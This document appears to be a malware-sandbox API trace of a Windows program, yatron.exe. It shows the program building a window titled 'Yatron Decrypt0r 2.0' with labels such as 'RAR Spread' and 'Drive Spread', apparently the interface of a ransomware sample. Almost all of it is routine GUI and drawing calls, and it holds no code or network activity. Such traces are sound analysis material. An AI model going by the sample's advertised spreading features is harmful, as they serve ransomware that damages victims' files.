[0086.349] AdjustWindowRectEx (in: lpRect=0x2e5910, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5910) returned 1
[0086.349] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.349] AdjustWindowRectEx (in: lpRect=0x2e5760, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x2e5760) returned 1
[0086.349] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.349] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.350] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.350] AdjustWindowRectEx (in: lpRect=0x2e5568, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5568) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5970) returned 1
[0086.351] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.351] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e57c0) returned 1
[0086.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.352] AdjustWindowRectEx (in: lpRect=0x2e5568, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2e5568) returned 1
[0086.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.352] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5970) returned 1
[0086.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.352] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x56010044, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e57c0) returned 1
[0086.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.352] AdjustWindowRectEx (in: lpRect=0x2e5970, dwStyle=0x56212844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e5970) returned 1
[0086.352] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0086.352] AdjustWindowRectEx (in: lpRect=0x2e57c0, dwStyle=0x56212844, bMenu=0, dwExStyle=0x200 | out: lpRect=0x2e57c0) returned 1
[0086.358] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5708) returned 0x0
[0086.367] IsAppThemed () returned 0x1
[0086.367] GetThemeAppProperties () returned 0x3
[0086.367] GetThemeAppProperties () returned 0x3
[0086.367] IsAppThemed () returned 0x1
[0086.368] GetThemeAppProperties () returned 0x3
[0086.368] GetThemeAppProperties () returned 0x3
[0086.368] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5698) returned 0x0
[0086.376] IsAppThemed () returned 0x1
[0086.376] GetThemeAppProperties () returned 0x3
[0086.377] GetThemeAppProperties () returned 0x3
[0086.377] IsAppThemed () returned 0x1
[0086.377] GetThemeAppProperties () returned 0x3
[0086.377] GetThemeAppProperties () returned 0x3
[0086.377] IsThemePartDefined () returned 0x1
[0086.384] GdipCreateRegion (region=0x2e5430) returned 0x0
[0086.384] GdipGetClip (graphics=0x1cb7bfa0, region=0x1c5a84b0) returned 0x0
[0086.386] GdipCreateMatrix (matrix=0x2e5430) returned 0x0
[0086.386] GdipGetWorldTransform (graphics=0x1cb7bfa0, matrix=0x1c5af510) returned 0x0
[0086.388] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2e5498) returned 0x0
[0086.388] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ac285e0
[0086.388] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1ac285e0) returned 0x0
[0086.389] LocalFree (hMem=0x1ac285e0) returned 0x0
[0086.389] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0086.389] GdipIsInfiniteRegion (region=0x1c5a84b0, graphics=0x1cb7bfa0, result=0x2e5500) returned 0x0
[0086.390] GdipDeleteRegion (region=0x1c5a84b0) returned 0x0
[0086.390] GdipGetDC (graphics=0x1cb7bfa0, hdc=0x2e5508) returned 0x0
[0086.390] GetCurrentObject (hdc=0xd010a02, type=0x1) returned 0x1b00017
[0086.390] GetCurrentObject (hdc=0xd010a02, type=0x2) returned 0x1900010
[0086.390] GetCurrentObject (hdc=0xd010a02, type=0x7) returned 0x185000f
[0086.390] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.390] SaveDC (hdc=0xd010a02) returned 2
[0086.391] OffsetViewportOrgEx (in: hdc=0xd010a02, x=0, y=0, lppt=0x2649fe8 | out: lppt=0x2649fe8) returned 1
[0086.391] IsAppThemed () returned 0x1
[0086.391] GetThemeAppProperties () returned 0x3
[0086.391] GetThemeAppProperties () returned 0x3
[0086.393] GetThemePartSize () returned 0x0
[0086.394] RestoreDC (hdc=0xd010a02, nSavedDC=-1) returned 1
[0086.396] GdipReleaseDC (graphics=0x1cb7bfa0, hdc=0xd010a02) returned 0x0
[0086.396] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0086.397] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.397] GetObjectW (in: h=0x30a09ec, c=92, pv=0x2e5280 | out: pv=0x2e5280) returned 92
[0086.400] DrawTextExW (in: hdc=0xd010a02, lpchText="RAR Spread", cchText=10, lprc=0x2e5538, format=0x2404, lpdtp=0x264a130 | out: lpchText="RAR Spread", lprc=0x2e5538) returned 13
[0086.403] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0086.403] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5708) returned 0x0
[0086.403] IsAppThemed () returned 0x1
[0086.403] GetThemeAppProperties () returned 0x3
[0086.403] GetThemeAppProperties () returned 0x3
[0086.403] IsAppThemed () returned 0x1
[0086.403] GetThemeAppProperties () returned 0x3
[0086.404] GetThemeAppProperties () returned 0x3
[0086.404] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5698) returned 0x0
[0086.404] IsAppThemed () returned 0x1
[0086.404] GetThemeAppProperties () returned 0x3
[0086.404] GetThemeAppProperties () returned 0x3
[0086.404] IsAppThemed () returned 0x1
[0086.404] GetThemeAppProperties () returned 0x3
[0086.404] GetThemeAppProperties () returned 0x3
[0086.404] IsThemePartDefined () returned 0x1
[0086.404] GdipCreateRegion (region=0x2e5430) returned 0x0
[0086.404] GdipGetClip (graphics=0x1cb7bfa0, region=0x1c5a84b0) returned 0x0
[0086.404] GdipCreateMatrix (matrix=0x2e5430) returned 0x0
[0086.404] GdipGetWorldTransform (graphics=0x1cb7bfa0, matrix=0x1c5af550) returned 0x0
[0086.404] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2e5498) returned 0x0
[0086.404] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ac285e0
[0086.404] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1ac285e0) returned 0x0
[0086.404] LocalFree (hMem=0x1ac285e0) returned 0x0
[0086.404] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0086.405] GdipIsInfiniteRegion (region=0x1c5a84b0, graphics=0x1cb7bfa0, result=0x2e5500) returned 0x0
[0086.405] GdipDeleteRegion (region=0x1c5a84b0) returned 0x0
[0086.405] GdipGetDC (graphics=0x1cb7bfa0, hdc=0x2e5508) returned 0x0
[0086.405] GetCurrentObject (hdc=0xd010a02, type=0x1) returned 0x1b00017
[0086.405] GetCurrentObject (hdc=0xd010a02, type=0x2) returned 0x1900010
[0086.405] GetCurrentObject (hdc=0xd010a02, type=0x7) returned 0x185000f
[0086.405] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.405] SaveDC (hdc=0xd010a02) returned 2
[0086.405] OffsetViewportOrgEx (in: hdc=0xd010a02, x=0, y=0, lppt=0x264aa78 | out: lppt=0x264aa78) returned 1
[0086.405] IsAppThemed () returned 0x1
[0086.405] GetThemeAppProperties () returned 0x3
[0086.405] GetThemeAppProperties () returned 0x3
[0086.405] GetThemePartSize () returned 0x0
[0086.405] RestoreDC (hdc=0xd010a02, nSavedDC=-1) returned 1
[0086.406] GdipReleaseDC (graphics=0x1cb7bfa0, hdc=0xd010a02) returned 0x0
[0086.406] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0086.406] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.406] GetObjectW (in: h=0x30a09ec, c=92, pv=0x2e5280 | out: pv=0x2e5280) returned 92
[0086.406] DrawTextExW (in: hdc=0xd010a02, lpchText="Drive Spread", cchText=12, lprc=0x2e5538, format=0x2404, lpdtp=0x264abb8 | out: lpchText="Drive Spread", lprc=0x2e5538) returned 13
[0086.406] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0086.406] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5708) returned 0x0
[0086.406] IsAppThemed () returned 0x1
[0086.406] GetThemeAppProperties () returned 0x3
[0086.406] GetThemeAppProperties () returned 0x3
[0086.406] IsAppThemed () returned 0x1
[0086.406] GetThemeAppProperties () returned 0x3
[0086.406] GetThemeAppProperties () returned 0x3
[0086.406] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5698) returned 0x0
[0086.407] IsAppThemed () returned 0x1
[0086.407] GetThemeAppProperties () returned 0x3
[0086.407] GetThemeAppProperties () returned 0x3
[0086.407] IsAppThemed () returned 0x1
[0086.407] GetThemeAppProperties () returned 0x3
[0086.407] GetThemeAppProperties () returned 0x3
[0086.407] IsThemePartDefined () returned 0x1
[0086.407] GdipCreateRegion (region=0x2e5430) returned 0x0
[0086.407] GdipGetClip (graphics=0x1cb7bfa0, region=0x1c5a84b0) returned 0x0
[0086.407] GdipCreateMatrix (matrix=0x2e5430) returned 0x0
[0086.407] GdipGetWorldTransform (graphics=0x1cb7bfa0, matrix=0x1c5af510) returned 0x0
[0086.407] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2e5498) returned 0x0
[0086.407] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ac285e0
[0086.407] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1ac285e0) returned 0x0
[0086.407] LocalFree (hMem=0x1ac285e0) returned 0x0
[0086.407] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0086.407] GdipIsInfiniteRegion (region=0x1c5a84b0, graphics=0x1cb7bfa0, result=0x2e5500) returned 0x0
[0086.407] GdipDeleteRegion (region=0x1c5a84b0) returned 0x0
[0086.407] GdipGetDC (graphics=0x1cb7bfa0, hdc=0x2e5508) returned 0x0
[0086.407] GetCurrentObject (hdc=0xd010a02, type=0x1) returned 0x1b00017
[0086.408] GetCurrentObject (hdc=0xd010a02, type=0x2) returned 0x1900010
[0086.408] GetCurrentObject (hdc=0xd010a02, type=0x7) returned 0x185000f
[0086.408] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.408] SaveDC (hdc=0xd010a02) returned 2
[0086.408] OffsetViewportOrgEx (in: hdc=0xd010a02, x=0, y=0, lppt=0x264b500 | out: lppt=0x264b500) returned 1
[0086.408] IsAppThemed () returned 0x1
[0086.408] GetThemeAppProperties () returned 0x3
[0086.408] GetThemeAppProperties () returned 0x3
[0086.408] GetThemePartSize () returned 0x0
[0086.408] RestoreDC (hdc=0xd010a02, nSavedDC=-1) returned 1
[0086.408] GdipReleaseDC (graphics=0x1cb7bfa0, hdc=0xd010a02) returned 0x0
[0086.408] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0086.408] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.408] GetObjectW (in: h=0x30a09ec, c=92, pv=0x2e5280 | out: pv=0x2e5280) returned 92
[0086.408] DrawTextExW (in: hdc=0xd010a02, lpchText="3D", cchText=2, lprc=0x2e5538, format=0x2404, lpdtp=0x264b640 | out: lpchText="3D", lprc=0x2e5538) returned 13
[0086.408] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0086.409] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5708) returned 0x0
[0086.409] IsAppThemed () returned 0x1
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] IsAppThemed () returned 0x1
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] GdipCreateFromHDC (hdc=0xd010a02, graphics=0x2e5698) returned 0x0
[0086.409] IsAppThemed () returned 0x1
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] IsAppThemed () returned 0x1
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] GetThemeAppProperties () returned 0x3
[0086.409] IsThemePartDefined () returned 0x1
[0086.409] GdipCreateRegion (region=0x2e5430) returned 0x0
[0086.409] GdipGetClip (graphics=0x1cb7bfa0, region=0x1c5a84b0) returned 0x0
[0086.409] GdipCreateMatrix (matrix=0x2e5430) returned 0x0
[0086.409] GdipGetWorldTransform (graphics=0x1cb7bfa0, matrix=0x1c5af550) returned 0x0
[0086.409] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2e5498) returned 0x0
[0086.409] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1ac285e0
[0086.409] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1ac285e0) returned 0x0
[0086.409] LocalFree (hMem=0x1ac285e0) returned 0x0
[0086.409] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0086.409] GdipIsInfiniteRegion (region=0x1c5a84b0, graphics=0x1cb7bfa0, result=0x2e5500) returned 0x0
[0086.409] GdipDeleteRegion (region=0x1c5a84b0) returned 0x0
[0086.410] GdipGetDC (graphics=0x1cb7bfa0, hdc=0x2e5508) returned 0x0
[0086.410] GetCurrentObject (hdc=0xd010a02, type=0x1) returned 0x1b00017
[0086.410] GetCurrentObject (hdc=0xd010a02, type=0x2) returned 0x1900010
[0086.410] GetCurrentObject (hdc=0xd010a02, type=0x7) returned 0x185000f
[0086.410] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.410] SaveDC (hdc=0xd010a02) returned 2
[0086.410] OffsetViewportOrgEx (in: hdc=0xd010a02, x=0, y=0, lppt=0x264bf88 | out: lppt=0x264bf88) returned 1
[0086.410] IsAppThemed () returned 0x1
[0086.410] GetThemeAppProperties () returned 0x3
[0086.410] GetThemeAppProperties () returned 0x3
[0086.410] GetThemePartSize () returned 0x0
[0086.410] RestoreDC (hdc=0xd010a02, nSavedDC=-1) returned 1
[0086.410] GdipReleaseDC (graphics=0x1cb7bfa0, hdc=0xd010a02) returned 0x0
[0086.410] GdipDeleteGraphics (graphics=0x1cb7bfa0) returned 0x0
[0086.410] GetCurrentObject (hdc=0xd010a02, type=0x6) returned 0x30a09ec
[0086.410] GetObjectW (in: h=0x30a09ec, c=92, pv=0x2e5280 | out: pv=0x2e5280) returned 92
[0086.410] DrawTextExW (in: hdc=0xd010a02, lpchText="12H", cchText=3, lprc=0x2e5538, format=0x2404, lpdtp=0x264c0c8 | out: lpchText="12H", lprc=0x2e5538) returned 13
[0086.410] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0086.416] GetCurrentActCtx (in: lphActCtx=0x2eed30 | out: lphActCtx=0x2eed30*=0x0) returned 1
[0086.416] ActivateActCtx (in: hActCtx=0x1abc8538, lpCookie=0x2eed70 | out: hActCtx=0x1abc8538, lpCookie=0x2eed70) returned 1
[0086.417] GetCurrentActCtx (in: lphActCtx=0x2ee9c0 | out: lphActCtx=0x2ee9c0*=0x1abc8538) returned 1
[0086.417] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0
[0086.419] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fefc4e0000
[0088.822] AdjustWindowRectEx (in: lpRect=0x2ee8e0, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x2ee8e0) returned 1
[0088.822] GetCursorPos (in: lpPoint=0x264c378 | out: lpPoint=0x264c378*(x=64, y=353)) returned 1
[0088.822] MonitorFromPoint (pt=0x16100000040, dwFlags=0x2) returned 0x10001
[0088.822] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2ee690 | out: lpmi=0x2ee690) returned 1
[0088.822] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x600107ac
[0088.823] GetDeviceCaps (hdc=0x600107ac, index=12) returned 32
[0088.823] GetDeviceCaps (hdc=0x600107ac, index=14) returned 1
[0088.823] DeleteDC (hdc=0x600107ac) returned 1
[0088.823] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2ee760 | out: lpmi=0x2ee760) returned 1
[0088.823] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0088.823] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Yatron Decrypt0r 2.0", dwStyle=0x2ca0000, X=328, Y=73, nWidth=784, nHeight=713, hWndParent=0x0, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x4015e
[0088.824] SetWindowLongPtrW (hWnd=0x4015e, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0088.824] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-4) returned 0x77a8b0ac
[0088.825] SetWindowLongPtrW (hWnd=0x4015e, nIndex=-4, dwNewLong=0x1b191cdc) returned 0x77a8b0ac
[0088.825] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-4) returned 0x1b191cdc
[0088.825] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-16) returned 0x6ca0000
[0088.825] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x81, wParam=0x0, lParam=0x2ee080) returned 0x1
[0088.825] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x83, wParam=0x0, lParam=0x2ee130) returned 0x0
[0089.320] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x1, wParam=0x0, lParam=0x2ee040) returned 0x0
[0089.320] GetClientRect (in: hWnd=0x4015e, lpRect=0x2edac0 | out: lpRect=0x2edac0) returned 1
[0089.320] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2edac0 | out: lpRect=0x2edac0) returned 1
[0089.322] SetWindowTextW (hWnd=0x4015e, lpString="Yatron Decrypt0r 2.0") returned 1
[0089.322] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xc, wParam=0x0, lParam=0x2644a14) returned 0x1
[0089.325] GetStartupInfoW (in: lpStartupInfo=0x264c800 | out: lpStartupInfo=0x264c800*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0089.326] GetParent (hWnd=0x4015e) returned 0x0
[0089.326] SetWindowLongPtrW (hWnd=0x4015e, nIndex=-8, dwNewLong=0x0) returned 0x0
[0089.326] GetSystemMetrics (nIndex=49) returned 16
[0089.326] GetSystemMetrics (nIndex=50) returned 16
[0089.328] CreateIconFromResourceEx (presbits=0x264c8c8, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xe0249
[0089.330] SendMessageW (hWnd=0x4015e, Msg=0x80, wParam=0x0, lParam=0xe0249) returned 0x0
[0089.330] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x80, wParam=0x0, lParam=0xe0249) returned 0x0
[0089.331] SendMessageW (hWnd=0x4015e, Msg=0x80, wParam=0x1, lParam=0xc00ad) returned 0x0
[0089.331] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x80, wParam=0x1, lParam=0xc00ad) returned 0x0
[0089.339] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xe0249
[0089.344] GetSystemMenu (hWnd=0x4015e, bRevert=0) returned 0xa012b
[0089.346] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee9c8 | out: lpwndpl=0x2ee9c8) returned 1
[0089.346] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf020, uEnable=0x0) returned 0
[0089.346] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf030, uEnable=0x1) returned 0
[0089.346] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf060, uEnable=0x0) returned 0
[0089.346] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf120, uEnable=0x1) returned 0
[0089.346] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf000, uEnable=0x1) returned 0
[0089.346] GetClientRect (in: hWnd=0x4015e, lpRect=0x2eea90 | out: lpRect=0x2eea90) returned 1
[0089.346] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee9c0 | out: lpRect=0x2ee9c0) returned 1
[0089.346] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee9c0 | out: lpRect=0x2ee9c0) returned 1
[0089.347] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.347] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-16) returned 0x6ca0000
[0089.347] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0089.347] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0089.347] GetSystemMetrics (nIndex=42) returned 0
[0089.348] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee7b0, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0089.348] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee7b0) returned 0x14
[0089.348] GetWindowTextLengthW (hWnd=0x4015e) returned 20
[0089.348] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x14
[0089.348] GetSystemMetrics (nIndex=42) returned 0
[0089.348] GetWindowTextW (in: hWnd=0x4015e, lpString=0x2ee7b0, nMaxCount=21 | out: lpString="Yatron Decrypt0r 2.0") returned 20
[0089.348] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0xd, wParam=0x15, lParam=0x2ee7b0) returned 0x14
[0089.348] GetCursorPos (in: lpPoint=0x264dbf8 | out: lpPoint=0x264dbf8*(x=64, y=353)) returned 1
[0089.348] MonitorFromPoint (pt=0x16400000043, dwFlags=0x2) returned 0x10001
[0089.348] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2ee660 | out: lpmi=0x2ee660) returned 1
[0089.348] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x1d010735
[0089.348] GetDeviceCaps (hdc=0x1d010735, index=12) returned 32
[0089.348] GetDeviceCaps (hdc=0x1d010735, index=14) returned 1
[0089.349] DeleteDC (hdc=0x1d010735) returned 1
[0089.349] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2ee730 | out: lpmi=0x2ee730) returned 1
[0089.349] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-16) returned 0x6ca0000
[0089.349] GetWindowLongPtrW (hWnd=0x4015e, nIndex=-20) returned 0x50100
[0089.349] SetWindowLongPtrW (hWnd=0x4015e, nIndex=-16, dwNewLong=0x2ca0000) returned 0x6ca0000
[0089.349] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x2ee8a0) returned 0x0
[0089.349] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x2ee8a0) returned 0x0
[0089.349] SetWindowLongPtrW (hWnd=0x4015e, nIndex=-20, dwNewLong=0x50000) returned 0x50100
[0089.350] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x2ee8a0) returned 0x0
[0089.350] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x2ee8a0) returned 0x0
[0089.350] SetWindowPos (hWnd=0x4015e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
[0089.350] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x46, wParam=0x0, lParam=0x2ee8f0) returned 0x0
[0089.350] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x83, wParam=0x1, lParam=0x2ee8c0) returned 0x0
[0089.356] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee4c8 | out: lpwndpl=0x2ee4c8) returned 1
[0089.356] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x47, wParam=0x0, lParam=0x2ee8f0) returned 0x0
[0089.356] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ee360 | out: lpRect=0x2ee360) returned 1
[0089.356] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ee360 | out: lpRect=0x2ee360) returned 1
[0089.360] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x83, wParam=0x1, lParam=0x2ee250) returned 0x0
[0089.361] RedrawWindow (hWnd=0x4015e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0089.363] GetSystemMenu (hWnd=0x4015e, bRevert=0) returned 0xa012b
[0089.363] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ee968 | out: lpwndpl=0x2ee968) returned 1
[0089.363] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf020, uEnable=0x0) returned 0
[0089.363] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf030, uEnable=0x1) returned 1
[0089.363] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf060, uEnable=0x0) returned 0
[0089.363] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf120, uEnable=0x1) returned 1
[0089.363] EnableMenuItem (hMenu=0xa012b, uIDEnableItem=0xf000, uEnable=0x1) returned 1
